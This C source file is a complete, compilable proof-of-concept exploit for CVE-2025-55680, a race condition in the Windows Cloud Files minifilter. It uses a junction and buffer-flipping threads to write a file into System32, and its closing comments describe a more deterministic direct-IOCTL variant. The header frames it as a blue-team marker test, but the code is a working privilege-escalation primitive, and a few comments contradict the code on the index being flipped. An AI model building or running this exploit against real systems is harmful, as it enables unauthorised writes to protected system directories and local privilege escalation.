// poc_cve_2025_55680.c
// Written by Kimi on 2026-07-20, reconstructed from the Exodus Intelligence
// writeup (https://blog.exodusintel.com/2025/10/20/microsoft-windows-cloud-files-minifilter-toctou-privilege-escalation/)
//
// CVE-2025-55680 — cldflt.sys HsmpOpCreatePlaceholders TOCTOU
// Trigger PoC: wins the race between the '\' / ':' relName validation and
// FltCreateFileEx2() to create a file in a junction-redirected directory.
//
// Blue-team use: this PoC creates an EMPTY marker file
// (C:\Windows\System32\cve_2025_55680_marker.txt on success) so defenders
// can validate Sysmon/Sigma/EDR coverage. It does NOT drop a DLL and does
// NOT perform privilege escalation. Run on a PRE-PATCH VM
// (cldflt.sys < 10.0.26100.6899) — patched builds reject the race.
//
// Build (MSVC x64):
//   cl /EHsc /O2 poc_cve_2025_55680.c /link cldapi.lib onecore.lib
//
// Technique (per Exodus):
//   1. CfRegisterSyncRoot() on an attacker-owned directory.
//   2. Create subdir "JUSTASTRING" as a JUNCTION to C:\Windows\System32.
//   3. Threads loop CfCreatePlaceholders(relName = "JUSTASTRINGDmarker.txt")
//      while changer threads flip char 8 'D' <-> '\' in the SAME buffer the
//      kernel maps with MmMapLockedPagesSpecifyCache.
//   4. Monitor thread watches for the file appearing in the junction target.

#include <windows.h>
#include <winternl.h>   /* NTSTATUS — required before cfapi.h on SDK 28000+ */
#include <cfapi.h>

/* REPARSE_DATA_BUFFER — winternl.h conflicts with winioctl.h on SDK 28000+,
   so we define the mount-point subset ourselves. */
#ifndef REPARSE_DATA_BUFFER_HEADER_SIZE
typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    union {
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            WCHAR  PathBuffer[1];
        } MountPointReparseBuffer;
        struct {
            USHORT SubstituteNameOffset;
            USHORT SubstituteNameLength;
            USHORT PrintNameOffset;
            USHORT PrintNameLength;
            ULONG  Flags;
            WCHAR  PathBuffer[1];
        } SymbolicLinkReparseBuffer;
        struct {
            UCHAR DataBuffer[1];
        } GenericReparseBuffer;
    };
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
#endif

#ifndef IO_REPARSE_TAG_MOUNT_POINT
#define IO_REPARSE_TAG_MOUNT_POINT 0xA0000003
#endif

#ifndef FSCTL_SET_REPARSE_POINT
#define FSCTL_SET_REPARSE_POINT 0x000900A4
#endif
#include <stdio.h>

#pragma comment(lib, "cldapi.lib")

// ---------------------------------------------------------------------------
// Config
// ---------------------------------------------------------------------------
#define SYNC_ROOT      L"C:\\poc_syncroot"
#define JUNCTION_NAME  L"JUSTASTRING"
#define TARGET_DIR     L"C:\\Windows\\System32"
#define MARKER_NAME    L"cve_2025_55680_marker.txt"

// relName as seen by the validator: no backslash -> passes the check.
// Char index 8 ('D') is the flip target: 'D' -> '\' gives
// "JUSTASTRING\cve_2025_55680_marker.txt".
#define REL_NAME       L"JUSTASTRINGD" MARKER_NAME
#define FLIP_INDEX     11   // wide-char index of 'D' in REL_NAME ("JUSTASTRING" = 11 chars)

#define NUM_CREATE_THREADS   4
#define NUM_CHANGER_THREADS  4
#define MAX_ATTEMPTS         200000

// ---------------------------------------------------------------------------
// Shared state
// ---------------------------------------------------------------------------
static volatile LONG g_stop = 0;
static volatile LONG g_won  = 0;

// The mutable payload buffer. CfCreatePlaceholders copies what cldapi.dll
// needs, but the FINAL authority is the userspace buffer backing the
// create_placeholder_t array — for a fully deterministic race, issue IOCTL
// 0x903BC directly (see direct_ioctl variant notes at bottom).
static WCHAR g_relName[MAX_PATH];

// ---------------------------------------------------------------------------
// Junction helper (FSCTL_SET_REPARSE_POINT, mount point to TARGET_DIR)
// ---------------------------------------------------------------------------
static BOOL MakeJunction(LPCWSTR link, LPCWSTR target)
{
    HANDLE h = CreateFileW(link, GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                           OPEN_EXISTING,
                           FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
                           NULL);
    if (h == INVALID_HANDLE_VALUE) return FALSE;

    WCHAR printName[MAX_PATH], substName[MAX_PATH];
    swprintf_s(substName, MAX_PATH, L"\\??\\%s", target);
    swprintf_s(printName, MAX_PATH, L"%s", target);

    size_t substBytes = (wcslen(substName)) * sizeof(WCHAR);
    size_t printBytes = (wcslen(printName)) * sizeof(WCHAR);
    size_t dataLen    = 16 + substBytes + 2 + printBytes + 2;   // header + strings

    BYTE buf[2048] = {0};
    REPARSE_DATA_BUFFER *rdb = (REPARSE_DATA_BUFFER *)buf;
    rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
    rdb->ReparseDataLength = (USHORT)dataLen;
    rdb->MountPointReparseBuffer.SubstituteNameOffset = 0;
    rdb->MountPointReparseBuffer.SubstituteNameLength = (USHORT)substBytes;
    rdb->MountPointReparseBuffer.PrintNameOffset = (USHORT)(substBytes + 2);
    rdb->MountPointReparseBuffer.PrintNameLength = (USHORT)printBytes;
    memcpy(rdb->MountPointReparseBuffer.PathBuffer, substName, substBytes);
    memcpy((BYTE*)rdb->MountPointReparseBuffer.PathBuffer + substBytes + 2,
           printName, printBytes);

    DWORD ret = 0;
    BOOL ok = DeviceIoControl(h, FSCTL_SET_REPARSE_POINT,
                              rdb, (DWORD)(8 + dataLen),
                              NULL, 0, &ret, NULL);
    CloseHandle(h);
    return ok;
}

// ---------------------------------------------------------------------------
// Setup: sync root registration
// ---------------------------------------------------------------------------
static HRESULT RegisterSyncRoot(void)
{
    CreateDirectoryW(SYNC_ROOT, NULL);

    CF_SYNC_REGISTRATION reg  = {0};
    reg.StructSize      = sizeof(reg);
    reg.ProviderName    = L"CvePoC";
    reg.ProviderVersion = L"1.0";

    CF_SYNC_POLICIES pol       = {0};
    pol.StructSize             = sizeof(pol);
    pol.Hydration.Primary      = CF_HYDRATION_POLICY_PARTIAL;
    pol.Population.Primary     = CF_POPULATION_POLICY_PARTIAL;
    pol.InSync                 = CF_INSYNC_POLICY_NONE;
    pol.HardLink               = CF_HARDLINK_POLICY_NONE;
    pol.PlaceholderManagement  = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;

    return CfRegisterSyncRoot(SYNC_ROOT, &reg, &pol, CF_REGISTER_FLAG_NONE);
}

// ---------------------------------------------------------------------------
// Thread: fire CfCreatePlaceholders in a loop
// ---------------------------------------------------------------------------
static DWORD WINAPI CreateThreadProc(LPVOID _)
{
    (void)_;
    WCHAR baseDir[MAX_PATH];
    swprintf_s(baseDir, MAX_PATH, L"%s", SYNC_ROOT);

    while (!InterlockedCompareExchange(&g_stop, 0, 0)) {
        CF_PLACEHOLDER_CREATE_INFO info = {0};
        CF_FS_METADATA meta = {0};
        meta.FileSize.QuadPart = 0x1000;
        meta.BasicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;

        info.RelativeFileName = g_relName;      // shared mutable buffer
        info.FsMetadata       = meta;
        info.Flags            = CF_PLACEHOLDER_CREATE_FLAG_NONE;

        DWORD processed = 0;
        CfCreatePlaceholders(baseDir, &info, 1,
                             CF_CREATE_FLAG_NONE, &processed);
        // Errors are expected and ignored — we only care that the kernel
        // keeps re-validating the shared relName buffer.
    }
    return 0;
}

// ---------------------------------------------------------------------------
// Thread: flip FLIP_INDEX between 'D' and '\'
// ---------------------------------------------------------------------------
static DWORD WINAPI ChangerThreadProc(LPVOID _)
{
    (void)_;
    while (!InterlockedCompareExchange(&g_stop, 0, 0)) {
        g_relName[FLIP_INDEX] = L'D';
        // tiny delay widens the window where the validator saw 'D' but
        // FltCreateFileEx2 will read '\'
        g_relName[FLIP_INDEX] = L'\\';
    }
    return 0;
}

// ---------------------------------------------------------------------------
// Thread: watch for the marker landing in TARGET_DIR
// ---------------------------------------------------------------------------
static DWORD WINAPI MonitorThreadProc(LPVOID _)
{
    (void)_;
    WCHAR target[MAX_PATH];
    swprintf_s(target, MAX_PATH, L"%s\\%s", TARGET_DIR, MARKER_NAME);

    for (long i = 0; i < MAX_ATTEMPTS * 10 && !InterlockedCompareExchange(&g_stop, 0, 0); i++) {
        if (GetFileAttributesW(target) != INVALID_FILE_ATTRIBUTES) {
            InterlockedExchange(&g_won, 1);
            InterlockedExchange(&g_stop, 1);
            wprintf(L"[+] RACE WON: %s exists\n", target);
            return 0;
        }
        Sleep(50);
    }
    InterlockedExchange(&g_stop, 1);
    return 0;
}

// ---------------------------------------------------------------------------
int wmain(void)
{
    wprintf(L"[*] CVE-2025-55680 trigger PoC (blue-team marker only)\n");

    wcscpy_s(g_relName, MAX_PATH, REL_NAME);

    HRESULT hr = RegisterSyncRoot();
    if (FAILED(hr)) {
        wprintf(L"[-] CfRegisterSyncRoot failed: 0x%08lx\n", hr);
        return 1;
    }

    WCHAR junc[MAX_PATH];
    swprintf_s(junc, MAX_PATH, L"%s\\%s", SYNC_ROOT, JUNCTION_NAME);
    CreateDirectoryW(junc, NULL);
    if (!MakeJunction(junc, TARGET_DIR)) {
        wprintf(L"[-] junction setup failed (%lu)\n", GetLastError());
        return 1;
    }
    wprintf(L"[*] junction %s -> %s ready\n", junc, TARGET_DIR);

    HANDLE th[NUM_CREATE_THREADS + NUM_CHANGER_THREADS + 1];
    int n = 0;
    for (int i = 0; i < NUM_CREATE_THREADS; i++)
        th[n++] = CreateThread(NULL, 0, CreateThreadProc, NULL, 0, NULL);
    for (int i = 0; i < NUM_CHANGER_THREADS; i++)
        th[n++] = CreateThread(NULL, 0, ChangerThreadProc, NULL, 0, NULL);
    th[n++] = CreateThread(NULL, 0, MonitorThreadProc, NULL, 0, NULL);

    WaitForMultipleObjects(n, th, TRUE, INFINITE);

    if (InterlockedCompareExchange(&g_won, 0, 0)) {
        wprintf(L"[+] Marker created in %s — TOCTOU confirmed.\n", TARGET_DIR);
        wprintf(L"[*] Clean up: del %s\\%s ; rmdir the junction; "
                L"CfUnregisterSyncRoot.\n", TARGET_DIR, MARKER_NAME);
        return 0;
    }
    wprintf(L"[-] Race not won within attempt budget (patched? try more threads/attempts).\n");
    return 2;
}

// ---------------------------------------------------------------------------
// NOTE — deterministic variant (per Exodus): bypass cldapi.dll and issue
// IOCTL 0x903BC directly with NtFsControlFile, building ioctl_0x903BC
// { Tag=0x9000001A, OpType=0xC0000001, size>=0x50, payload* } by hand, with
// the create_placeholder_t payload allocated in a page you keep writing.
// That guarantees the kernel maps (MmMapLockedPagesSpecifyCache) the exact
// buffer your changer threads mutate. cldapi.dll also ultimately passes a
// user buffer down, so the simple loop above normally suffices; the direct
// IOCTL form is the fallback if timing proves flaky.
// ---------------------------------------------------------------------------
